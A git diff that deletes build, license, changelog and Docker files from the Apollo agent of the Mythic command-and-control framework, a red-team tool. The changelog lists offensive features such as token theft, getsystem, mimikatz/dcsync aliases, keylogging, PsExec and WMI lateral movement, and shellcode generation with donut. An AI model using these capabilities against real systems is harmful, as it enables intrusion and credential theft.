diff --git a/.editorconfig b/.editorconfig deleted file mode 100644 index 400aa210..00000000 --- a/.editorconfig +++ /dev/null @@ -1,5 +0,0 @@ -root = true - -[*.{py,js,cs}] -indent_style = space -indent_size = 4 diff --git a/.github/workflows/docker.yml b/.github/workflows/docker.yml deleted file mode 100644 index 396693f7..00000000 --- a/.github/workflows/docker.yml +++ /dev/null @@ -1,139 +0,0 @@ -# Pulled from Thanatos (https://github.com/MythicAgents/thanatos/blob/rewrite/.github/workflows/image.yml) - MEhrn00 - -# Name for the Github actions workflow -name: Build and push container images - -on: - # Only run workflow when there is a new release published in Github - #release: - # types: [published] - push: - branches: - - 'master' - - 'Mythic3.3' - tags: - - "v*.*.*" - -# Variables holding configuration settings -env: - # Container registry the built container image will be pushed to - REGISTRY: ghcr.io - - # Set the container image name to the Github repository name. (MythicAgents/apollo) - AGENT_IMAGE_NAME: ${{ github.repository }} - - # Description label for the package in Github - IMAGE_DESCRIPTION: ${{ github.repository }} container for use with Mythic - - # Source URL for the package in Github. This links the Github repository packages list - # to this container image - IMAGE_SOURCE: ${{ github.server_url }}/${{ github.repository }} - - # License for the container image - IMAGE_LICENSE: BSD-3-Clause - - # Set the container image version to the Github release tag - VERSION: ${{ github.ref_name }} - #VERSION: ${{ github.event.head_commit.message }} - - RELEASE_BRANCH: master - -jobs: - # Builds the base container image and pushes it to the container registry - agent_build: - runs-on: ubuntu-latest - permissions: - contents: write - packages: write - steps: - - name: Checkout the repository - uses: actions/checkout@v4 # ref: https://github.com/marketplace/actions/checkout - - name: Log in to the container registry - uses: docker/login-action@v3 # ref: https://github.com/marketplace/actions/docker-login - with: - registry: ${{ env.REGISTRY }} - username: ${{ github.actor }} - password: ${{ secrets.GITHUB_TOKEN }} - - name: Set up QEMU - uses: docker/setup-qemu-action@v2 - with: - platforms: 'arm64,arm' - - name: Set up Docker Buildx - id: buildx - uses: docker/setup-buildx-action@v2 - # the following are unique to this job - - name: Lowercase the server container image name - run: echo "AGENT_IMAGE_NAME=${AGENT_IMAGE_NAME,,}" >> ${GITHUB_ENV} - - name: Build and push the server container image - uses: docker/build-push-action@v5 # ref: https://github.com/marketplace/actions/build-and-push-docker-images - with: - context: Payload_Type/apollo - file: Payload_Type/apollo/Dockerfile - tags: | - ${{ env.REGISTRY }}/${{ env.AGENT_IMAGE_NAME }}:${{ env.VERSION }} - ${{ env.REGISTRY }}/${{ env.AGENT_IMAGE_NAME }}:latest - push: ${{ github.ref_type == 'tag' }} - # These container metadata labels allow configuring the package in Github - # packages. The source will link the package to this Github repository - labels: | - org.opencontainers.image.source=${{ env.IMAGE_SOURCE }} - org.opencontainers.image.description=${{ env.IMAGE_DESCRIPTION }} - org.opencontainers.image.licenses=${{ env.IMAGE_LICENSE }} - platforms: linux/amd64,linux/arm64 - - update_files: - runs-on: ubuntu-latest - needs: - - agent_build - permissions: - contents: write - packages: write - - steps: - # Pull in the repository code - - name: Checkout the repository - uses: actions/checkout@v4 # ref: https://github.com/marketplace/actions/checkout - - # update names to lowercase - - name: Lowercase the container image name - run: echo "AGENT_IMAGE_NAME=${AGENT_IMAGE_NAME,,}" >> ${GITHUB_ENV} - - # The Dockerfile which Mythic uses to pull in the base container image needs to be - # updated to reference the newly built container image - - name: Fix the server Dockerfile reference to reference the new release tag - working-directory: Payload_Type/apollo - run: | - sed -i "s|^FROM ghcr\.io.*$|FROM ${REGISTRY}/${AGENT_IMAGE_NAME}:${VERSION}|" Dockerfile - - - name: Update package.json version - uses: jossef/action-set-json-field@v2.1 - with: - file: config.json - field: remote_images.apollo - value: ${{env.REGISTRY}}/${{env.AGENT_IMAGE_NAME}}:${{env.VERSION}} - - # Push the changes to the Dockerfile - - name: Push the updated base Dockerfile image reference changes - if: ${{ github.ref_type == 'tag' }} - uses: EndBug/add-and-commit@v9 # ref: https://github.com/marketplace/actions/add-commit - with: - # Only add the Dockerfile changes. Nothing else should have been modified - add: "['Payload_Type/apollo/Dockerfile', 'config.json']" - # Use the Github actions bot for the commit author - default_author: github_actions - committer_email: github-actions[bot]@users.noreply.github.com - - # Set the commit message - message: "Bump Dockerfile tag to match release '${{ env.VERSION }}'" - - # Overwrite the current git tag with the new changes - tag: '${{ env.VERSION }} --force' - - # Push the new changes with the tag overwriting the current one - tag_push: '--force' - - # Push the commits to the branch marked as the release branch - push: origin HEAD:${{ env.RELEASE_BRANCH }} --set-upstream - - # Have the workflow fail in case there are pathspec issues - pathspec_error_handling: exitImmediately diff --git a/.gitignore b/.gitignore index c2b5a17f..49ca353e 100644 --- a/.gitignore +++ b/.gitignore @@ -1,149 +1,16 @@ -**/rabbitmq_config.json +# Python __pycache__/ *.py[cod] -**/*.dll -# Sphinx documentation -docs/_build/ -# Environments -#.env -.venv -.DS_Store -env/ -venv/ -ENV/ -env.bak/ -venv.bak/ -# pycharm -.idea/ -# ssl certs -ssl/ -# downloaded files -mythic_access.* -postgres-docker/database/ -rabbitmq-docker/storage/ -**/transforms.py -## Ignore Visual Studio temporary files, build results, and -## files generated by popular Visual Studio add-ons. -## -## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore - -# User-specific files -*.suo -*.user -*.userosscache -*.sln.docstates - -# User-specific files (MonoDevelop/Xamarin Studio) -*.userprefs - -# Build results -[Dd]ebug/ -[Dd]ebugPublic/ -[Rr]elease/ -[Rr]eleases/ -x64/ -x86/ -bld/ -[Bb]in/ -[Oo]bj/ -[Ll]og/ - -# Visual Studio 2015/2017 cache/options directory -.vs/ -# Uncomment if you have tasks that create the project's static files in wwwroot -#wwwroot/ - -# Visual Studio 2017 auto generated files -Generated\ Files/ - -# MSTest test Results -[Tt]est[Rr]esult*/ -[Bb]uild[Ll]og.* - -# NUNIT -*.VisualState.xml -TestResult.xml - -# Build Results of an ATL Project -[Dd]ebugPS/ -[Rr]eleasePS/ -dlldata.c - -# Benchmark Results -BenchmarkDotNet.Artifacts/ -# .NET Core -project.lock.json -project.fragment.lock.json -artifacts/ -**/Properties/launchSettings.json +# Node +node_modules/ -# StyleCop -StyleCopReport.xml - -# Files built by Visual Studio -*_i.c -*_p.c -*_i.h -*.ilk -*.meta -*.obj -*.iobj -*.pch -*.pdb -*.ipdb -*.pgc -*.pgd -*.rsp -*.sbr -*.tlb -*.tli -*.tlh -*.tmp -*.tmp_proj +# Build outputs +dist/ +bin/ *.log -*.vspscc -*.vssscc -.builds -*.pidb -*.svclog -*.scc - -# Chutzpah Test files -_Chutzpah* - -# Visual C++ cache files -ipch/ -*.aps -*.ncb -*.opendb -*.opensdf -*.sdf -*.cachefile -*.VC.db -*.VC.VC.opendb - -# Visual Studio profiler -*.psess -*.vsp -*.vspx -*.sap - -# Visual Studio Trace Files -*.e2e - -# TFS 2012 Local Workspace -$tf/ -# Guidance Automation Toolkit -*.gpState - -# ReSharper is a .NET coding add-in -_ReSharper*/ -*.[Rr]e[Ss]harper -*.DotSettings.user - -#Custom addition to not ignore the system.automation.dll -!Payload_Type/apollo/apollo/agent_code/packages/System.Management.Automation6.1.7/* - -Payload_Type/apollo/loader.bin +# OS/editor +.DS_Store +.idea/ +.vscode/ diff --git a/.vscode/launch.json b/.vscode/launch.json deleted file mode 100644 index 54588c17..00000000 --- a/.vscode/launch.json +++ /dev/null @@ -1,16 +0,0 @@ -{ - // Use IntelliSense to learn about possible attributes. - // Hover to view descriptions of existing attributes. - // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 - "version": "0.2.0", - "configurations": [ - { - "name": "Python: Current File", - "type": "python", - "request": "launch", - "program": "${file}", - "console": "integratedTerminal", - "cwd": "${workspaceFolder}" - } - ] -} \ No newline at end of file diff --git a/Apollo.code-workspace b/Apollo.code-workspace deleted file mode 100644 index 0f76a8ff..00000000 --- a/Apollo.code-workspace +++ /dev/null @@ -1,21 +0,0 @@ -{ - "folders": [ - { - "name": "Apollo code", - "path": "Payload_Type/apollo/apollo/agent_code" - }, - { - "name": "Mythic code", - "path": "Payload_Type/apollo/apollo/mythic" - }, - { - "name": "Project Root", - "path": "." - } - ], - "extensions": { - "recommendations": [ - "EditorConfig.EditorConfig" - ] - } -} diff --git a/C2_Profiles/.keep b/C2_Profiles/.keep deleted file mode 100644 index e69de29b..00000000 diff --git a/LICENSE b/LICENSE deleted file mode 100644 index 9911534b..00000000 --- a/LICENSE +++ /dev/null @@ -1,105 +0,0 @@ -BSD 3-Clause License - -Copyright (c) 2022, Dwight Hohnstein -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -* Neither the name of the copyright holder nor the names of its - contributors may be used to endorse or promote products derived from - this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -## additionally included software licenses - -### COFFLoader -Copyright 2020, COFFLoader by TrustedSec, LLC -All rights reserved. - -Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: - - * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. - * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer - in the documentation and/or other materials provided with the distribution. - * Neither the name of TrustedSec, LLC nor the names of its contributors may be used to endorse or promote products derived from - this software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT -LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT -OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY -THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF -THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. - -The above licensing was taken from the BSD licensing and is applied to COFFLoader as well. - -Note that the COFFLoader is provided as is, and is a royalty free open-source application. - -Feel free to modify, use, change, market, do whatever you want with it as long as you give the appropriate credit where credit -is due (which means giving the authors the credit they deserve for writing it). - -### Impacket -The Apache Software License, Version 1.1 -Modifications by Fortra (see above) - -Copyright (c) 2000 The Apache Software Foundation. All rights -reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions -are met: - -1. Redistributions of source code must retain the above copyright - notice, this list of conditions and the following disclaimer. - -2. Redistributions in binary form must reproduce the above copyright - notice, this list of conditions and the following disclaimer in - the documentation and/or other materials provided with the - distribution. - -3. The end-user documentation included with the redistribution, - if any, must include the following acknowledgment: - "This product includes software developed by - SecureAuth Corporation (https://www.secureauth.com/) and Fortra (https://www.fortra.com)." - Alternately, this acknowledgment may appear in the software itself, - if and wherever such third-party acknowledgments normally appear. - -4. The names "Impacket", "SecureAuth Corporation", and "Fortra" must - not be used to endorse or promote products derived from this - software without prior written permission. For written - permission, please reach out to https://www.coresecurity.com/about/contact. - -5. Products derived from this software may not be called "Impacket", - nor may "Impacket" appear in their name, without prior written - permission of Fortra. - -THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESSED OR IMPLIED -WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES -OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE APACHE SOFTWARE FOUNDATION OR -ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT -LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF -USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT -OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF -SUCH DAMAGE. \ No newline at end of file diff --git a/Payload_Type/.keep b/Payload_Type/.keep deleted file mode 100644 index e69de29b..00000000 diff --git a/Payload_Type/apollo/CHANGELOG.MD b/Payload_Type/apollo/CHANGELOG.MD deleted file mode 100644 index e4ac56a7..00000000 --- a/Payload_Type/apollo/CHANGELOG.MD +++ /dev/null @@ -1,566 +0,0 @@ -# Changelog -All notable changes to this project will be documented in this file. - -The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), -and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). - -## [v2.4.9] - 2026-02-02 - -### Changed - -- Updated `COFFLoader.dll` to be compiled with `Release` to help fix `VCRUNTIME140.dll` issues - -## [v2.4.8] - 2025-12-23 - -### Changed - -- Added `update_deleted` to more places within `ls` that do separate processing for better consistency - -## [v2.4.7] - 2025-12-23 - -### Changed - -- Added support for `update_deleted` in file browsers to auto mark files as "deleted" if they're not in folder listings - -## [v2.4.6] - 2025-12-15 - -### Changed - -- Fixing missing dependency change for custom browsers - -## [v2.4.5] - 2025-12-12 - -### Changed - -- Updated the COFFLoader.dll with the latest updates from TrustedSec's COFFLoader -- Added ldap_query -- Updated reg_query - -## [v2.4.4] - 2025-12-02 - -### Changed - -- Fixed a bug in `powerpick` that referenced an exception class in ExecuteAssembly - -## [v2.4.3] - 2025-10-29 - -### Changed - -- Updated PyPi package to v0.6.6 - -## [v2.4.2] - 2025-10-28 - -### Changed - -- Updated PyPi Version to allow build parameters to specify ui position - -## [v2.4.1] - 2025-10-27 - -### Changed - -- Updated PyPi version -- Merged in hotfix for P2P comms missing messages sometimes - -## [v2.4.0] - 2025-10-07 - -### Changed - -- Updated to mythic-container==v0.6.0 for dynamic parameters -- Updated build parameters to hide shellcode parameters when output type is not shellcode -- Updated c2 deviations to hide get-based parameters that aren't used by this profile -- Updated make_token to allow blank passwords -- Updated ticket_store_purge to process `all` flag properly - -## [v2.3.51] - 2025-09-12 - -## Changed - -- Updated steal_token to report back the integrity level of the old and new token -- Updated steal_token to adjust the callback's integrity level -- Updated rev2self to adjust the callback's integrity level - -## [v2.3.50] - 2025-09-12 - -### Changed - -- Fixed an issue with spawning processes after doing a `steal_token` - - it was using the primary token instead of the impersonated identity - -## [v2.3.49] - 2025-09-10 - -### Changed - -- Updated apollo's `ls` functionality to check if a path ends in `:` and update it to `:\` instead - - this fixes an issue with windows resolving `C:` as the current working directory compared to `C:\` - -## [v2.3.48] - 2025-08-25 - -### Changed - -- Fixed parsing for kerberos tickets in ticket_store_add - -## [v2.3.47] - 2025-08-21 - -### Changed - -- Updated the parsing for kerberos tickets via impacket to handle missing time values in tickets - -## [v2.3.46] - 2025-08-19 - -### Changed - -- Updated inline_assembly to check thread execution with timeouts to be able to detect kill jobs for threads better -- Updated execute_pe to just report back process exit instead of misleading error codes - -## [v2.3.45] - 2025-08-11 - -### Changed - -- Fixed a bug in Apollo's P2P code where queued messages could pile up and not get sent - -## [v2.3.44] - 2025-07-24 - -### Changed - -- Updated reg_write_value to split input on new lines for multiline input types - -## [v2.3.43] - 2025-07-24 - -### Changed - -- Updated reg_write_value to allow you to specify the type of data to write -- Updated screenshot and screenshot_inject to not send extra file_ids to user output since PutFile does that automaically - -## [v2.3.42] - 2025-07-24 - -### Changed - -- Updated the screenshot_inject processing to use donut PyPi package - -## [v2.3.41] - 2025-07-18 - -### Changed - -- Updated the file upload messages to show chunk status and bail out on errors -- Updated the status for execute_coff and execute_assembly to be more informative - -## [v2.3.40] - 2025-07-17 - -### Changed - -- Fixed an issue with upload via file browser not respecting pathing - -## [v2.3.39] - 2025-07-15 - -### Changed - -- Fixed a bug with ls-ing UNC paths via the file browser for alternative hosts - -## [v2.3.38] - 2025-07-15 - -### Changed - -- Updated `socks` and `rpfwd` tasks to auto-issue `sleep 0` tasks when starting -- Updated `socks` task to auto-issue `sleep 1` when stopping -- Updated `socks` and `rpfwd` task display parameters -- Updated `jobkill` display parameters to be more meaningful -- Updated `jump_psexec` output to make sc output prettier -- Updated `powerpick`, `execute_assembly`, and `execute_pe` to check for sacrificial process pid > 0 rather than exit - - this fixes a bug where access denied when spawning would lock when trying to kill a non-existent pid -- Updated logic in high integrity to only list out ticket cache values for current logon if no luid specified -- Updated ticket_cache_list to report back the current LUID even if there are no tickets available - - Updated the associated browser script to account for this - -## [v2.3.37] - 2025-07-14 - -### Changed - -- Fixed a small bug in make_token output that was repeating the old token claims instead of the new ones -- Fixed the same bug in steal_token output - -## [v2.3.36] - 2025-07-11 - -### Changed - -- Updated wmiexecute to try two different ways of impersonating user context for remote execution -- Added CoInitializeSecurity call into apollo main program - -## [v2.3.35] - 2025-07-11 - -### Changed - -- Updated display params for wmiexecute -- Updated display params for ticket_cache_list - -## [v2.3.34] - 2025-07-10 - -### Changed - -- Fixing keylog_inject - - adding keylog_inject browser script to go with it for basic conversion - -## [v2.3.33] - 2025-07-10 - -### Changed - -- Added a new interface function to update the Agent UUID - - Used this interface in HTTP and Websocket profiles - - Updated `unlink` command to leverage this for properly reflecting unlinked agents -- Fixed an issue in P2P code that wouldn't update P2P UUID after negotiating - -## [v2.3.32] - 2025-07-08 - -### Changed - -- Updated the help for the ticket commands -- Updated the error message for ticket_cache_extract -- Updated the completion function for ticket_cache_extract - -## [v2.3.31] - 2025-07-07 - -### Changed - -- Updated the processing for ticket_cache_list to better account for high/medium context -- Updated wmiexecute error code to be in hex not int -- Updated WebSocketClient code to reconnect on disconnect and added a few more checks for Proxy configs - -## [v2.3.30] - 2025-07-03 - -### Changed - -- Updated execute_coff, execute_assembly, inline_assembly, execute_pe, inline_assembly, and assembly_inject - - these no longer require `register_*` commands and will automatically fetch the file if needed first - -## [v2.3.29] - 2025-06-23 - -### Changed - -- Updated `cd` callback information to get the new proper directory instead of what the user supplied - -## [v2.3.28] - 2025-06-19 - -### Changed - -- Updated the make_token and steal_token commands to report back Auth status, Auth Package, and Claims per token - -## [v2.3.27] - 2025-06-17 - -### Changed - -- Updated the build for COFFLoader.dll - -## [v2.3.26] - 2025-06-17 - -### Changed - -- Updated apollo to support new cwd and impersonation_context fields -- Updated execute_coff to copy COFFLoader.dll instead of move it as needed - -## [v2.3.25] - 2025-06-05 - -### Changed - -- Fixed type mismatch for ProxyPort - -## [v2.3.24] - 2025-06-05 - -### Changed - -- Updated the parsing of CallbackHost/CallbackPort and ProxyHost/ProxyPort to be more reliable - -## [v2.3.23] - 2025-05-29 - -### Changed - -- Updated the file download to report back the file id sooner -- Updated download browser script to display media as the file is downloading -- Updated execute_coff and execute_assembly to have register_file as dependencies -- Updated execute_coff to call execute_file instead of execute_coff command - -## [v2.3.22] - 2025-05-28 - -### Changed - -- Updated a reference in the execute_pe task to not reference an exception name in the execute_assembly task - -## [v2.3.21] - 2025-05-14 - -### Changed - -- Updated the builder to include all commands when building a debug version of apollo -- Updated the p2p code to initializes the edges array so checks for edge lengths don't crash - -## [v2.3.20] - 2025-04-29 - -### Changed - -- Updated some kerberos ticket functions to return more detailed error messages - -## [v2.3.19] - 2025-04-29 - -### Changed - -- Updated the `rpfwd` implementation to send Mythic notifications about new connections, not just new data - -## [v2.3.18] - 2025-04-29 - -### Changed - -- Updated the `ticket_cache_add` call to return more error status information - -## [v2.3.17] - 2025-04-28 - -### Changed - -- Updated `rpfwd` to allow specifying a debug level to help with troubleshooting rpfwd issues -- Fixed the `debug` build option to properly respect user supplied c2 configuration options - -## [v2.3.16] - 2025-04-10 - -### Changed - -- Updated the processing for mimikatz credentials -- Updated sleep to not have JSON in the display parameters -- Updated error messages in sleep -- Updated execute_assembly display parameters -- Updated link .net command to test webshell connectivity first - -## [v2.3.15] - 2025-04-02 - -### changed - -- Fixed an issue with webshell linking - -## [v2.3.14] - 2025-03-30 - -### Changed - -- Fixed an issue with setting configuration options with `\` characters not getting properly escaped -- Updated PyPi package - -## [v2.3.13] - 2025-03-24 - -### Changed - -- Fixed an issue with the inject command trying to auto-issue a follow-on link for p2p-based shellcode - -## [v2.3.12] - 2025-03-16 - -### Changed - -- Added an action (stop/start) for the SOCKS command -- Added an option for username/password for rpfwd/socks command -- Added a check in jobkill for the rpfwd command to auto stop it from the Mythic side - -## [v2.3.11] - 2025-03-16 - -### Changed - -- Added a few more try/catch blocks for named pipe writes -- Fixed a compile bug with an out of scope variable - -## [v2.3.10] - 2025-03-14 - -### Changed - -- Added a few more try/catch blocks for named pipe writes to help with breaks - -## [v2.3.9] - 2025-03-14 - -### Changed - -- Updated `ticket_store_add` to not create a temp logon session to fetch ticket information - - Instead, ticket information is fetched via impacket in the apollo container first and sent down with the task - -## [v2.3.8] - 2025-03-12 - -### Changed - -- Added `debug` build option - -## [v2.3.7] - 2025-03-12 - -### Changed - -- Added the ability to select already uploaded files as part of the register_* commands - -## [v2.3.6] - 2025-03-12 - -### Changed - -- Added `-p:DebugType=None -p:DebugSymbols=false` to all `dotnet build` commands -- Removed sRDI package as it wasn't used -- Standardized donut usage to all be with the donut binary and not partially with the donut PyPi package -- Updated ticket_[store|cache]_list commands to return structured JSON -- Added browser scripts for ticket_[store|cache]_list commands -- -## [v2.3.5] - 2025-03-03 - -### Changed - -- Fixed a bug in Apollo's named pipe server that would break on writes for immediate disconnects from clients - -## [v2.3.4] - 2025-03-03 - -### Changed - -- Fixed a bug in `ls` that would fail to return data about files/folders if apollo couldn't get full information -- Added a `getsystem` command -- Updated `execute_coff` to spin off a new thread and set the impersonation context on that thread - -## [v2.3.3] - 2025-02-28 - -### Changed - -- Removed unnecessary make_token reference from sleep - -## [v2.3.2] - 2025-02-25 - -### Changed - -- Removed RunOF and replaced it with TrustedSec's COFFLoader project -- Adjusted the execute_coff command to pack args instead of sending down a typed array -- Added a reflective loader for the COFFLoader.dll (with Claude) -- Updated execute_pe's remote loaded code to hook more exit functions and load files better (with Claude) - -## [v2.3.1] - 2025-02-11 - -### Changed - -- Fixed a bug in `upload` that would try to create a UNC path even if the supplied hostname was the same as the current host - -## [v2.3.0] - 2025-02-10 - -### Changed - -- Updated TCP and SMB profiles to function the same way -- Updated TCP and SMB profiles to use new TCP and SMB profile definitions - - Message formats changed, so v2.3 apollo agents cannot link to v2.2 apollo agents - - This change means that apollo TCP can link with Poseidon TCP - -## [v2.2.25] - 2025-01-30 - -### Changed - -- Fixed a bug with upload if remote_path wasn't specified causing regex to break -- Updated execute_coff to optionally take in a file at execution time to support forge -- Updated execute_assembly to optionally take in a file at execution time to support forge -- Updated inline_assembly to optionally take in a file at execution time to support forge - -## [v2.2.24] - 2025-01-08 - -### Changed - -- Updated the KerberosTicket storage to handle fetching the right ticket more reliably - -## [v2.2.23] - 2025-01-08 - -### Changed - -- Updated the ticket_ticket_list to provide the flag for filtering SYSTEM tickets instead of doing it by default -- Updated sleep to make Jitter an optional parameter - -## [v2.2.21] - 2024-11-12 - -### Changed - -- Added some options to the builder for specifying config options for donut -- Added an option to auto-adjust the final payload name based on the configured options - -## [v2.2.20] - 2024-11-12 - -### Changed - -- Updated powerpick and PowerShellHost to handle output the same way as execute_assembly and execute_pe -- Updated sacrificial process code to only star tasks for reading stdout/stderr for non-fork and run jobs -- Updated `ps` to include `update_deleted` and send all output at once so Mythic can update the process browser properly -- Updated `kill` to also support `process_browser:kill` - -## [v2.2.19] - 2024-11-08 - -### Changed - -- Updated execute_pe code to use named pipes for reading output -- Updated sacrificial process code to read stdout as well for commands like run -- Updated run/shell to read output and exit - -## [v2.2.18] - 2024-10-16 - -### Changed - -- Updated `sleep` to take named parameters -- Updated `wmiexecute` to include Evan's wmi execute with impersonation tokens work https://gist.github.com/EvanMcBroom/99ea88304faec38d3ed1deefd1aba6f9 -- Updated `ls` to check for a CWD of a UNC path before returning bad data for the browser script to leverage -- Updated `upload` and `download` to also try to process a CWD of a UNC path when returning full paths for the file browser -- Added `host` field to return `upload` data to try to more accurately capture the host of where data is uploaded - -## [v2.2.17] - 2024-10-04 - -### Changed - -- updated execute_assembly injected stub to hopefully capture more output successfully - -## [v2.2.16] - 2024-10-03 - -### Changed - -- updated `jump_wmi` command -- added `jump_psexec` command -- added `Service` build option -- updated execute_assembly and sacrificial processes to hopefully capture more output consistently - -## [v2.2.15] - 2024-09-27 - -### Changed - -- Added in new `jump_wmi` command -- Updated `make_token` to allow cli args instead of just modal without registering new creds -- Updated sizes in ls browser script - -## [v2.2.14] - 2024-09-24 - -### Changed - -- Added in functionality to link to Arachne via webshell configuration - -## [v2.2.13] - 2024-08-21 - -### Changed - -- Added in functionality from Evan McBroom to handle impersonated tokens in some situations with wmiexecute - -## [v2.2.12] - 2024-08-20 - -### Changed - -- Fixed the ptr errors in net_localgroup and net_localgroup_member - -## [v2.2.11] - 2024-08-19 - -### Changed - -- Fixed an issue with keylogs coming in one keystroke at a time -- Fixed an issue with ps command_line having broken quotes -- Added rpfwd capabilities - -## [v2.2.10] - 2024-08-15 - -### Changed - -- Updated pth, mimikatz, dcsync to report as alias commands so load will work properly - -## [v2.2.5] - 2024-05-10 - -### Changed - -- Merged in Websocket PR -- Merged in ExecuteCOFF PR -- Added ticket_cache* commands for interacting with local kerberos tickets -- Added ticket_store_* commands for interacting with a local kerberos store within the agent -- Added wmi_execute command for executing WMI locally and remotely -- Fixed double quoting issue in some commands -- Fixed reg_write command -- Updated `shell` to execute `run` without spawning sub task -- Fixed jobs command -- Updated .NET version used -- Fixed SOCKS command performance and reliability \ No newline at end of file diff --git a/Payload_Type/apollo/Dockerfile b/Payload_Type/apollo/Dockerfile deleted file mode 100644 index bbe77aa0..00000000 --- a/Payload_Type/apollo/Dockerfile +++ /dev/null @@ -1,23 +0,0 @@ -FROM mcr.microsoft.com/dotnet/sdk:8.0 -RUN apt-get update && apt-get install python3 python3-pip python3.11-venv -y - -RUN curl -L -o donut_shellcode-2.0.0.tar.gz https://github.com/MEhrn00/donut/releases/download/v2.0.0/donut_shellcode-2.0.0.tar.gz && \ - tar -xf donut_shellcode-2.0.0.tar.gz && \ - cd donut_shellcode-2.0.0 && \ - make && \ - cp donut / && \ - rm -rf donut_shellcode-2.0.0 && \ - rm -rf donut_shellcode-2.0.0.tar.gz - -WORKDIR /Mythic/ -RUN python3 -m venv /venv -RUN /venv/bin/python -m pip install mythic-container==0.6.6 mslex impacket toml -RUN /venv/bin/python -m pip install git+https://github.com/MEhrn00/donut.git@v2.0.0 - -COPY [".", "."] - -# fetch all dependencies -RUN cd apollo/agent_code && dotnet restore && rm donut ; cp /donut donut -RUN cd apollo/agent_code && cp COFFLoader.dll /COFFLoader.dll - -CMD ["bash", "-c", "cp /donut apollo/agent_code/donut && /venv/bin/python main.py"] diff --git a/Payload_Type/apollo/apollo/__init__.py b/Payload_Type/apollo/apollo/__init__.py deleted file mode 100644 index 8b137891..00000000 --- a/Payload_Type/apollo/apollo/__init__.py +++ /dev/null @@ -1 +0,0 @@ - diff --git a/Payload_Type/apollo/apollo/agent_code/.editorconfig b/Payload_Type/apollo/apollo/agent_code/.editorconfig deleted file mode 100644 index 8eff36f0..00000000 --- a/Payload_Type/apollo/apollo/agent_code/.editorconfig +++ /dev/null @@ -1,3 +0,0 @@ -# Do not format the Apollo Config.cs file -[Apollo/Config.cs] -generated_code = true diff --git a/Payload_Type/apollo/apollo/agent_code/.vscode/extensions.json b/Payload_Type/apollo/apollo/agent_code/.vscode/extensions.json deleted file mode 100644 index 811a7684..00000000 --- a/Payload_Type/apollo/apollo/agent_code/.vscode/extensions.json +++ /dev/null @@ -1,6 +0,0 @@ -{ - "recommendations": [ - "ms-dotnettools.csharp", - "ms-dotnettools.csdevkit" - ] -} diff --git a/Payload_Type/apollo/apollo/agent_code/Apollo.sln b/Payload_Type/apollo/apollo/agent_code/Apollo.sln deleted file mode 100644 index 11183882..00000000 --- a/Payload_Type/apollo/apollo/agent_code/Apollo.sln +++ /dev/null @@ -1,330 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 12.00 -# Visual Studio Version 17 -VisualStudioVersion = 17.8.34525.116 -MinimumVisualStudioVersion = 10.0.40219.1 -Project("{9A19103F-16F7-4668-BE54-9A1E7A4F7556}") = "ApolloInterop", "ApolloInterop\ApolloInterop.csproj", 